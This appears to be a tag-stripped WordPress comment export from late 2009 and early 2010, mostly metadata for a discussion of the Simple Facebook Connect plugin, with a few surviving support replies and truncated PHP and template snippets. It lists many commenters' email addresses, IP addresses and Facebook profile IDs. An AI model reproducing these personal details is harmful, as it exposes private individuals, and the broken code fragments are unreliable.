http://ottodestruct.com 169.198.254.6 2009-12-03 10:11:28 2009-12-03 16:11:28 1 7050 1 7055 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-04 08:18:08 2009-12-04 14:18:08 1 7054 1 7056 829731121@facebook.com http://www.facebook.com/profile.php?id=829731121 88.175.184.22 2009-12-05 09:44:05 2009-12-05 15:44:05 1 0 0 7083 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 69.113.249.78 2009-12-12 19:33:35 2009-12-13 01:33:35 1 7069 0 7059 100000523062508@facebook.com http://www.facebook.com/profile.php?id=100000523062508 202.169.236.4 2009-12-06 23:00:54 2009-12-07 05:00:54 1 0 0 7060 100000523062508@facebook.com http://www.facebook.com/profile.php?id=100000523062508 202.169.236.4 2009-12-06 23:03:36 2009-12-07 05:03:36 1 7059 0 7062 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-07 08:33:04 2009-12-07 14:33:04 echo sfc_fanbox_shortcode(array( 'stream' => 1, 'connections' => 10, 'width' => 200 )); ]]> 1 7061 1 7063 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 75.99.47.11 2009-12-07 17:17:10 2009-12-07 23:17:10 1 0 0 7067 awensley@gmail.com http://andrewensley.com 68.15.211.119 2009-12-07 20:43:12 2009-12-08 02:43:12 1 0 0 7068 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-08 11:19:45 2009-12-08 17:19:45 1 7067 1 7069 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-08 11:35:35 2009-12-08 17:35:35 1 7063 1 7070 1130502492@facebook.com http://www.facebook.com/profile.php?id=1130502492 173.27.218.102 2009-12-09 04:51:16 2009-12-09 10:51:16 1 0 0 7071 hannizkaos@gmail.com 95.222.86.253 2009-12-09 10:39:40 2009-12-09 16:39:40 1 0 0 7233 100000022688557@facebook.com http://www.facebook.com/profile.php?id=100000022688557 217.197.36.69 2010-01-10 07:35:23 2010-01-10 13:35:23 1 0 0 7073 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-09 10:46:09 2009-12-09 16:46:09 [fb:login-button autologoutlink="true"][/fb:login-button] ]]> 1 7071 1 7074 709786206@facebook.com http://www.facebook.com/profile.php?id=709786206 122.167.111.229 2009-12-09 11:41:38 2009-12-09 17:41:38 1 0 0 7075 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-09 11:58:48 2009-12-09 17:58:48 1 7074 1 7076 info@hapkemedia.com http://www.blog-abfertigung.de 91.11.55.166 2009-12-09 12:15:26 2009-12-09 18:15:26 1 0 0 7077 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-09 13:15:23 2009-12-09 19:15:23 1 7076 1 7237 crist@ss.sa 77.78.202.236 2010-01-11 08:18:53 2010-01-11 14:18:53 1 0 0 7082 asdf@asdf.com 76.89.173.0 2009-12-11 18:29:30 2009-12-12 00:29:30 1 7069 0 7084 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 69.113.249.78 2009-12-12 19:49:33 2009-12-13 01:49:33 1 7083 0 7085 696886769@facebook.com http://www.facebook.com/profile.php?id=696886769 76.90.109.17 2009-12-13 18:31:51 2009-12-14 00:31:51 1 0 0 7086 696886769@facebook.com http://www.facebook.com/profile.php?id=696886769 76.90.109.17 2009-12-13 19:05:33 2009-12-14 01:05:33 1 7085 0 7087 1263041688@facebook.com http://www.facebook.com/profile.php?id=1263041688 200.40.249.138 2009-12-14 07:17:28 2009-12-14 13:17:28 1 0 0 7088 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-14 08:28:19 2009-12-14 14:28:19 1 7084 1 7089 mail@joshgomez.com 68.98.215.195 2009-12-14 15:05:40 2009-12-14 21:05:40 1 0 0 7090 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-14 15:25:07 2009-12-14 21:25:07 1 7087 1 7091 ahmet@oguzhanbasar.com http://www.oguzhanbasar.com 88.243.66.43 2009-12-15 07:18:07 2009-12-15 13:18:07 1 0 0 7092 788173336@facebook.com http://www.facebook.com/profile.php?id=788173336 88.243.66.43 2009-12-15 07:19:08 2009-12-15 13:19:08 1 7091 0 7094 651770037@facebook.com http://www.facebook.com/profile.php?id=651770037 85.24.181.54 2009-12-16 08:17:55 2009-12-16 14:17:55 1 7027 0 7095 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 69.113.249.78 2009-12-16 08:18:01 2009-12-16 14:18:01 1 0 0 7096 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-16 08:26:44 2009-12-16 14:26:44 1 7095 0 7097 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-16 08:30:57 2009-12-16 14:30:57 1 7094 1 7101 jonathan@elijahpark.com http://www.elijahpark.com 207.109.69.9 2009-12-16 18:07:18 2009-12-17 00:07:18 1 0 0 7102 meltedplastic2001@yahoo.com http://www.sfvlocal.com 66.74.85.23 2009-12-16 18:18:21 2009-12-17 00:18:21 1 0 0 7105 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-17 08:50:03 2009-12-17 14:50:03 1 7102 1 7106 jonathanc@bwocreations.com 69.171.165.35 2009-12-17 09:41:49 2009-12-17 15:41:49 1 7103 0 7107 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-17 09:59:03 2009-12-17 15:59:03 1 7106 1 7108 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-17 11:20:41 2009-12-17 17:20:41 fb:fan tag into your theme. The fanbox plugin makes that easy to do, but the base plugin is what enables all the stuff to work. So don't feel limited by what the sub-plugins do.. If you want to display something hooked to a Fan Page, then you can do that. The base plugin is enough to enable all that.]]> 1 7106 1 7109 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-17 12:02:13 2009-12-17 18:02:13 1 7106 1 7331 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-21 08:27:07 2010-01-21 14:27:07 1 7324 1 7332 mpoyner@gmail.com http://filterhype.com 151.121.64.105 2010-01-21 13:54:11 2010-01-21 19:54:11 1 0 0 7112 1146658399@facebook.com http://www.facebook.com/profile.php?id=1146658399 201.246.99.7 2009-12-18 22:51:18 2009-12-19 04:51:18 1 0 0 7113 webitor@prospere-magazine.com http://prospere-magazine.com 202.82.31.75 2009-12-19 12:16:44 2009-12-19 18:16:44 1 0 0 7173 1066642895@facebook.com http://www.facebook.com/profile.php?id=1066642895 81.174.2.176 2009-12-28 14:55:37 2009-12-28 20:55:37 1 7172 0 7115 9604892@facebook.com http://www.facebook.com/profile.php?id=9604892 68.0.102.194 2009-12-19 13:51:58 2009-12-19 19:51:58 1 0 0 7116 9604892@facebook.com http://www.facebook.com/profile.php?id=9604892 68.0.102.194 2009-12-19 14:02:44 2009-12-19 20:02:44 1 0 0 7117 yoga@whollyyoga.com http://whollyyoga.com 75.48.220.53 2009-12-19 18:55:15 2009-12-20 00:55:15 1 7113 0 7118 yunuswajdi@myspace.com 71.175.246.102 2009-12-19 22:30:11 2009-12-20 04:30:11 1 0 0 7119 sajor_casanov@hotmail.com http://www.sajornet.com 187.153.92.145 2009-12-20 00:25:44 2009-12-20 06:25:44 1 7117 0 7120 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 84.211.174.252 2009-12-20 04:42:14 2009-12-20 10:42:14 1 0 0 7121 murat@mobileinc.co.uk http://www.mobileinc.co.uk 72.255.16.90 2009-12-20 16:21:14 2009-12-20 22:21:14 1 0 0 7122 murat@mobileinc.co.uk http://www.mobileinc.co.uk 72.255.16.90 2009-12-20 16:21:42 2009-12-20 22:21:42 1 0 0 7123 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 69.113.249.78 2009-12-21 01:33:29 2009-12-21 07:33:29 1 7109 0 7124 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 69.113.249.78 2009-12-21 02:38:49 2009-12-21 08:38:49 1 7123 0 7125 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 69.113.249.78 2009-12-21 02:43:24 2009-12-21 08:43:24 1 7069 0 7126 kattefatale@gmail.com http://www.kattefatale.com 98.210.246.137 2009-12-21 02:43:26 2009-12-21 08:43:26 1 7113 0 7127 100000494084355@facebook.com http://www.facebook.com/profile.php?id=100000494084355 83.236.184.50 2009-12-21 06:26:03 2009-12-21 12:26:03 1 7113 0 7128 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 08:49:07 2009-12-21 14:49:07 1 7113 1 7129 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 08:51:48 2009-12-21 14:51:48 1 7125 1 7130 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 08:55:10 2009-12-21 14:55:10 1 7120 1 7131 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 08:58:23 2009-12-21 14:58:23 1 7122 1 7132 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 09:02:48 2009-12-21 15:02:48 1 7121 1 7133 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 09:06:52 2009-12-21 15:06:52 1 7118 1 7134 100000584976065@facebook.com http://www.facebook.com/profile.php?id=100000584976065 77.78.231.188 2009-12-21 09:59:29 2009-12-21 15:59:29 1 0 0 7135 100000584976065@facebook.com http://www.facebook.com/profile.php?id=100000584976065 77.78.231.188 2009-12-21 10:05:47 2009-12-21 16:05:47 1 7134 0 7136 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 10:07:31 2009-12-21 16:07:31 1 7135 1 7137 100000584976065@facebook.com http://www.facebook.com/profile.php?id=100000584976065 77.78.231.188 2009-12-21 11:48:08 2009-12-21 17:48:08 1 7136 0 7138 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 12:20:19 2009-12-21 18:20:19 1 7137 1 7139 100000584976065@facebook.com http://www.facebook.com/profile.php?id=100000584976065 77.78.231.188 2009-12-21 12:53:57 2009-12-21 18:53:57 1 7138 0 7140 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-21 13:05:32 2009-12-21 19:05:32 1 7139 1 7141 100000584976065@facebook.com http://www.facebook.com/profile.php?id=100000584976065 77.78.231.188 2009-12-21 14:59:03 2009-12-21 20:59:03 1 7140 0 7143 784075843@facebook.com http://www.facebook.com/profile.php?id=784075843 82.234.193.175 2009-12-21 17:26:13 2009-12-21 23:26:13 1 0 0 7144 murat@mobileinc.co.uk http://www.mobileinc.co.uk 93.97.89.238 2009-12-22 08:26:35 2009-12-22 14:26:35 1 7132 0 7145 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-22 08:35:22 2009-12-22 14:35:22 1 7143 1 7146 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-22 08:38:37 2009-12-22 14:38:37 1 7144 1 7147 100000501275704@facebook.com http://www.facebook.com/profile.php?id=100000501275704 117.196.229.26 2009-12-22 11:17:15 2009-12-22 17:17:15 1 7139 0 7149 9604892@facebook.com http://www.facebook.com/profile.php?id=9604892 68.0.102.194 2009-12-22 12:11:03 2009-12-22 18:11:03 1 0 0 7152 murat@mobileinc.co.uk http://www.mobileinc.co.uk 93.97.89.238 2009-12-22 16:02:42 2009-12-22 22:02:42 1 7146 0 7153 100000584976065@facebook.com http://www.facebook.com/profile.php?id=100000584976065 77.78.231.188 2009-12-22 18:20:17 2009-12-23 00:20:17 1 7147 0 7154 1028760718@facebook.com http://www.facebook.com/profile.php?id=1028760718 70.178.12.17 2009-12-23 15:38:12 2009-12-23 21:38:12 1 0 0 7155 murat@mobileinc.co.uk http://www.mobileinc.co.uk 93.97.89.238 2009-12-25 06:51:03 2009-12-25 12:51:03 1 7154 0 7172 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 14:31:31 2009-12-28 20:31:31 1 7171 1 7157 532685626@facebook.com http://www.facebook.com/profile.php?id=532685626 90.201.6.95 2009-12-26 10:15:46 2009-12-26 16:15:46 1 0 0 7158 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-26 13:39:59 2009-12-26 19:39:59 1 7155 1 7159 gmedel@gmail.com http://gonzalomedel.com 201.223.76.146 2009-12-26 17:06:29 2009-12-26 23:06:29 1 0 0 7160 gmedel@gmail.com http://gonzalomedel.com 201.223.76.146 2009-12-26 20:30:26 2009-12-27 02:30:26 1 0 0 7161 701721173@facebook.com http://www.facebook.com/profile.php?id=701721173 67.169.181.234 2009-12-26 21:37:06 2009-12-27 03:37:06 function widget($args, $instance) { extract( $args ); $title = apply_filters('widget_title', $instance['title']); $profileid = $instance['profileid']; $fb_url = " <?php if ( $title ) echo $before_title . $fb_url . $title . "</$ <?php ]]> 1 0 0 7162 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 85.167.100.222 2009-12-27 06:46:43 2009-12-27 12:46:43 1 7130 0 7170 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 85.167.100.222 2009-12-28 13:04:48 2009-12-28 19:04:48 1 7169 0 7171 1066642895@facebook.com http://www.facebook.com/profile.php?id=1066642895 81.174.2.176 2009-12-28 14:28:56 2009-12-28 20:28:56 1 0 0 7164 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 08:32:30 2009-12-28 14:32:30 1 7162 1 7165 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 08:35:02 2009-12-28 14:35:02 1 7161 1 7166 paul.hockley@gmail.com 85.167.100.222 2009-12-28 10:45:08 2009-12-28 16:45:08 1 7164 0 7167 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 10:54:17 2009-12-28 16:54:17 1 7166 1 7168 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 85.167.100.222 2009-12-28 11:45:03 2009-12-28 17:45:03 1 7167 0 7169 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 11:48:22 2009-12-28 17:48:22 , {"reloadIfSessionStateChanged":true} ]]> 1 7168 1 7174 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 14:58:28 2009-12-28 20:58:28 1 7173 1 7175 1066642895@facebook.com http://www.facebook.com/profile.php?id=1066642895 81.174.2.176 2009-12-28 15:03:34 2009-12-28 21:03:34 1 7174 0 7176 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-28 15:22:45 2009-12-28 21:22:45 This YAPB plugin is broken and as long as it is running then SFC will not work correctly. There is no other way around it: you have to fix the other plugin.]]> 1 7175 1 7177 1066642895@facebook.com http://www.facebook.com/profile.php?id=1066642895 81.174.2.176 2009-12-28 15:31:59 2009-12-28 21:31:59 1 7176 0 7178 gmedel@gmail.com http://gonzalomedel.com 201.223.66.24 2009-12-28 16:38:14 2009-12-28 22:38:14 1 0 0 7179 100000465222685@facebook.com http://www.facebook.com/profile.php?id=100000465222685 189.136.99.9 2009-12-28 16:57:41 2009-12-28 22:57:41 1 0 0 7180 534859748@facebook.com http://www.facebook.com/profile.php?id=534859748 112.203.224.124 2009-12-28 23:47:39 2009-12-29 05:47:39 1 0 0 7181 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-29 09:44:32 2009-12-29 15:44:32 1 7178 1 7182 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 75.97.194.197 2009-12-29 13:48:04 2009-12-29 19:48:04 1 0 0 7183 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-29 14:00:10 2009-12-29 20:00:10 1 7182 1 7184 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 75.97.194.197 2009-12-29 15:34:46 2009-12-29 21:34:46 1 7183 0 7383 xcatchot@gmail.com 80.220.33.205 2010-01-29 09:23:06 2010-01-29 15:23:06 Fatal error: Call to undefined function get_comment_meta() in /Users/.../sfc-comments.php on line 244 My blog allows non registered comments and I am using get_avatar() to display the commenters gravatars. The comments.php template works perfectly when all the comments has been sent by registered users. It fails when I aprove a non registered comments. If I turn off "Simple Facebook Connect" all the comments are shown without errors. I am not using avatar plugins and I couldn't find out what is the problem. I would appreciate any help. Thanks a lot.]]> 1 0 0 7186 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-29 15:37:56 2009-12-29 21:37:56 1 7184 1 7187 1792811590@facebook.com http://www.facebook.com/profile.php?id=1792811590 75.97.194.197 2009-12-29 16:22:21 2009-12-29 22:22:21 1 7186 0 7261 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-13 11:18:21 2010-01-13 17:18:21 1 7260 1 7189 534859748@facebook.com http://www.facebook.com/profile.php?id=534859748 112.203.162.13 2009-12-31 04:44:40 2009-12-31 10:44:40 1 0 0 7191 brian@briandalessandro.com http://www.briandalessandro.com 74.105.125.123 2009-12-31 23:19:25 2010-01-01 05:19:25 require_once( dirname(__FILE__) . '/blog/wp-load.php' ); //wordpress is installed in a subdirectory called 'blog' wp(); do_action('template_redirect'); Basically, the template_redirect action is used by plugins to redirect the page instead of loading the page, it seems SFC depends on this as well. Just figured i'd share this in case anyone else encountered the same situation where you have an index.php file independent from wordpress in the root directory. .... I also discovered that the facebook connect button does not appear in Firefox 3.6 beta... but I assuming/hoping this will be fixed once it comes out of beta. Thanks so much for the plugin, it works great!]]> 1 0 0 7260 ltaschin@shicon.com 94.198.78.26 2010-01-13 11:04:18 2010-01-13 17:04:18 1 7259 0 7194 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 89.191.0.32 2010-01-05 07:05:00 2010-01-05 13:05:00 1 7169 0 7195 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 89.191.0.32 2010-01-05 08:00:57 2010-01-05 14:00:57 1 7194 0 7196 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-05 09:07:17 2010-01-05 15:07:17 1 7194 0 7197 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 84.211.174.252 2010-01-06 02:03:24 2010-01-06 08:03:24 1 7194 0 7198 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-06 09:01:01 2010-01-06 15:01:01 1 7194 0 7199 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 84.211.174.252 2010-01-06 13:51:47 2010-01-06 19:51:47 1 7194 0 7200 1259793880@facebook.com http://www.facebook.com/profile.php?id=1259793880 166.166.219.142 2010-01-06 17:50:44 2010-01-06 23:50:44 1 0 0 7201 534859748@facebook.com http://www.facebook.com/profile.php?id=534859748 112.200.216.112 2010-01-06 22:49:22 2010-01-07 04:49:22 1 0 0 7202 marius@hesleskaug.com http://www.autobloggen.net 85.255.39.34 2010-01-07 03:47:25 2010-01-07 09:47:25 1 7116 0 7203 534859748@facebook.com http://www.facebook.com/profile.php?id=534859748 112.200.216.112 2010-01-07 06:30:20 2010-01-07 12:30:20 1 7201 0 7204 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-07 08:27:04 2010-01-07 14:27:04 1 7180 1 7205 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-07 08:35:47 2010-01-07 14:35:47 1 7202 1 7206 594700347@facebook.com http://www.facebook.com/profile.php?id=594700347 201.240.41.2 2010-01-07 09:01:20 2010-01-07 15:01:20 1 0 0 7208 1259793880@facebook.com http://www.facebook.com/profile.php?id=1259793880 166.164.151.173 2010-01-07 15:17:10 2010-01-07 21:17:10 1 0 0 7209 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-07 15:45:52 2010-01-07 21:45:52 1 7208 1 7210 gmedel@gmail.com http://gonzalomedel.com 201.223.68.81 2010-01-07 15:53:33 2010-01-07 21:53:33 1 7181 0 7212 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-07 16:05:09 2010-01-07 22:05:09 1 7210 1 7213 28806222@facebook.com http://www.facebook.com/profile.php?id=28806222 72.68.84.161 2010-01-07 17:29:02 2010-01-07 23:29:02 <form action="/wp-comments-post.php" method="post" id="commentform"> Logged in as <a href="/wp-admin/profile.php" id="username"> <a href="" title="Log out of this account">Log out » // // Name <input type="text" name="author" id="author" value="" size="22" tabindex="1" /> Mail <input type="text" name="email" id="email" value="" size="22" tabindex="2" /> Website <input type="text" name="url" id="url" value="" size="22" tabindex="3" /> // Comment ID); ?> Double Slash (//) mark where added code is located... Thanks...]]> 1 0 0 7215 gmedel@gmail.com http://gonzalomedel.com 201.223.68.81 2010-01-07 21:13:12 2010-01-08 03:13:12 1 7212 0 7216 gmedel@gmail.com http://gonzalomedel.com 201.223.68.81 2010-01-07 21:43:06 2010-01-08 03:43:06 1 7215 0 7217 uabarber@gmail.com 70.190.70.71 2010-01-07 23:54:34 2010-01-08 05:54:34 Please Note: Your comment is awaiting moderation.', 'punchcut') ?> $depth, 'max_depth' => $args['max_depth'])); ?> <?php edit_comment_link('edit','',''); ?> <li id="comment-"> ]]> 1 0 0 7218 729158035@facebook.com http://www.facebook.com/profile.php?id=729158035 75.210.198.20 2010-01-08 03:08:59 2010-01-08 09:08:59 WP blog the way I can with my Tweets with a WP plug-ins called Twitter Tools. I'm not sure if a similar feature is currently supported with your plug-in. Twitter Tools currently displays my most recent/current tweets in my sidebar and also automatically creates a daily/weekly digest of my tweets into a post. I would like to do the same with my FB status updates. Is this possible with your plug-in or any other available tool?]]> 1 0 0 7219 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-08 08:16:59 2010-01-08 14:16:59 1 7213 1 7220 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-08 08:19:12 2010-01-08 14:19:12 1 7217 1 7221 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 84.211.174.252 2010-01-08 11:42:53 2010-01-08 17:42:53 1 0 0 7222 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-08 12:05:22 2010-01-08 18:05:22 1 7221 1 7223 uabarber@gmail.com 97.117.128.34 2010-01-08 12:39:18 2010-01-08 18:39:18 1 7220 0 7224 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-08 12:47:34 2010-01-08 18:47:34 1 7223 1 7225 623160495@facebook.com http://www.facebook.com/profile.php?id=623160495 84.211.174.252 2010-01-08 13:21:41 2010-01-08 19:21:41 1 7222 0 7226 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-08 13:29:10 2010-01-08 19:29:10 1 7225 1 7227 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-08 15:53:37 2010-01-08 21:53:37 Discussion, the comments plugin will now ask the Facebook user for Permission to email that user. This will allow things like replying to the comment emails and Subscribe to Comments and similar plugins to work with Simple Facebook Connect. Yes, you can actually reply to the Facebook commenter when their comment gets emailed to you, and the reply *works*. Tested, proven. The Comments plugin now uses the comment meta table for storing FB user id, making for *much* quicker avatar generation. Avatars used to be built by getting FB UID from the email field, which took time for regex parsing. Old avatars will be auto-converted to new method when displayed. This also has an advantage in that there's now an 'fbuid' comment meta field on every facebook connected comment, to tie back to the author of the comment. Comments now use far smarter Facebook JS to get relevant information (name, profile_url, proxied_email), making comments javascript a bit more sane and non-hacky. On the whole, I think it works better, but since it's really beta, I've also split the plugin into tagged versioning. I'd like some testers to help me out and find bugs, actually. The current stable version is 0.9 and lacks these new comments enhancements, but if you want to use the latest trunk code, you can get that trunk code via SVN here: http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/]]> 1 7225 1 7259 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-13 10:55:06 2010-01-13 16:55:06 1 7258 1 7229 1010163969@facebook.com http://www.facebook.com/profile.php?id=1010163969 69.86.131.182 2010-01-08 19:07:14 2010-01-09 01:07:14 Example: http://glark.org/service/]]> 1 0 0 7230 1010163969@facebook.com http://www.facebook.com/profile.php?id=1010163969 69.86.131.182 2010-01-08 19:08:35 2010-01-09 01:08:35 1 0 0 7231 1010163969@facebook.com http://www.facebook.com/profile.php?id=1010163969 69.86.131.182 2010-01-09 05:22:34 2010-01-09 11:22:34 1 0 0 7234 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-10 07:37:29 2010-01-10 13:37:29 1 7233 1 7235 gmedel@gmail.com http://gonzalomedel.com 201.223.76.202 2010-01-11 01:02:01 2010-01-11 07:02:01 1 0 0 7238 http://www.wp-plugin-archive.de/2010/01/11/simple-facebook-connect-fuer-wordpress/ 85.214.72.135 2010-01-11 08:40:04 2010-01-11 14:40:04 1 pingback 0 0 7239 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-11 09:26:58 2010-01-11 15:26:58 1 7235 1 7240 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-11 09:41:13 2010-01-11 15:41:13 1 7237 1 7241 gmedel@gmail.com http://gonzalomedel.com 201.223.76.202 2010-01-11 10:17:58 2010-01-11 16:17:58 1 7239 0 7242 cris@cris.com 77.78.202.236 2010-01-11 14:13:53 2010-01-11 20:13:53 1 7240 0 7243 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-11 14:18:05 2010-01-11 20:18:05 1 7242 1 7244 cris@cris.com 77.78.202.236 2010-01-11 14:27:53 2010-01-11 20:27:53 1 7243 0 7245 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-11 14:37:58 2010-01-11 20:37:58 1 7244 1 7246 cris@cris.com 77.78.202.236 2010-01-11 14:47:20 2010-01-11 20:47:20 1 7245 0 7247 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-11 15:06:06 2010-01-11 21:06:06 1 7246 1 7258 ltaschin@shicon.com 94.198.78.26 2010-01-13 10:50:36 2010-01-13 16:50:36 1 0 0 7249 crist@crist.com 77.78.212.8 2010-01-12 08:23:14 2010-01-12 14:23:14 1 7247 0 7250 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-12 08:42:59 2010-01-12 14:42:59 1 7249 1 7251 m.roesel@kabsi.at http://www.phunkalicious.at/wordpress/ 81.217.115.106 2010-01-12 11:08:15 2010-01-12 17:08:15 1 0 0 7252 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-12 11:15:10 2010-01-12 17:15:10 1 7251 1 7253 mja427@gmail.com http://natan.tv 24.205.72.32 2010-01-13 00:40:10 2010-01-13 06:40:10 1 0 0 7256 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-13 09:02:28 2010-01-13 15:02:28 1 7253 1 7257 http://dubo.cl/links-for-2010-01-13/ 67.205.1.74 2010-01-13 10:12:08 2010-01-13 16:12:08 1 pingback 0 0 7255 http://www.muyinternet.com/2010/01/13/herramientas-sociales-para-explotar-tu-web-o-blog/ 87.106.21.73 2010-01-13 05:57:00 2010-01-13 11:57:00 1 pingback 0 0 7262 ltaschin@shicon.com 94.198.78.26 2010-01-13 11:27:02 2010-01-13 17:27:02 1 7261 0 7263 mja427@gmail.com http://natan.tv 24.205.72.32 2010-01-13 15:11:30 2010-01-13 21:11:30 1 7256 0 7264 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-13 15:55:33 2010-01-13 21:55:33 1 7263 1 7265 mja427@gmail.com http://natan.tv 24.205.72.32 2010-01-13 16:13:34 2010-01-13 22:13:34 1 7264 0 7266 lonchbox@gmail.com http://lonchbox.com 83.49.24.31 2010-01-13 18:46:40 2010-01-14 00:46:40 1 0 0 7267 mossack.anme@gmail.com http://www.mossackanme.web.id/ 114.120.132.193 2010-01-13 18:49:57 2010-01-14 00:49:57 1 0 0 7268 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 08:50:51 2010-01-14 14:50:51 1 7266 1 7269 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 08:56:12 2010-01-14 14:56:12 1 7265 1 7270 lonchbox@gmail.com http://lonchbox.com 83.49.24.31 2010-01-14 11:02:48 2010-01-14 17:02:48 1 7268 0 7271 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 11:06:47 2010-01-14 17:06:47 1 7270 1 7272 lonchbox@gmail.com http://lonchbox.com 83.49.24.31 2010-01-14 12:17:17 2010-01-14 18:17:17 1 7271 0 7273 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 12:18:45 2010-01-14 18:18:45 1 7267 1 7274 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 12:20:41 2010-01-14 18:20:41 1 7272 1 7275 lonchbox@gmail.com http://lonchbox.com 83.49.24.31 2010-01-14 12:33:18 2010-01-14 18:33:18 1 7271 0 7276 mja427@gmail.com http://natan.tv 24.205.72.32 2010-01-14 12:36:22 2010-01-14 18:36:22 1 7269 0 7277 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 12:56:19 2010-01-14 18:56:19 Your Profile page. You'll find a new button there to connect the two accounts. After that, login with FB will work.]]> 1 7275 1 7278 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 12:58:29 2010-01-14 18:58:29 1 7276 1 7280 lonchbox@gmail.com http://lonchbox.com 213.98.253.103 2010-01-14 13:43:01 2010-01-14 19:43:01 1 7277 0 7282 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 13:48:40 2010-01-14 19:48:40 1 7280 1 7284 lonchbox@gmail.com http://lonchbox.com 83.34.164.222 2010-01-14 14:11:01 2010-01-14 20:11:01 1 7282 0 7285 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-14 14:12:43 2010-01-14 20:12:43 1 7284 1 7286 dave@davebc.com http://finerthingsin.com 98.227.111.78 2010-01-15 10:42:39 2010-01-15 16:42:39 1 0 0 7287 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-15 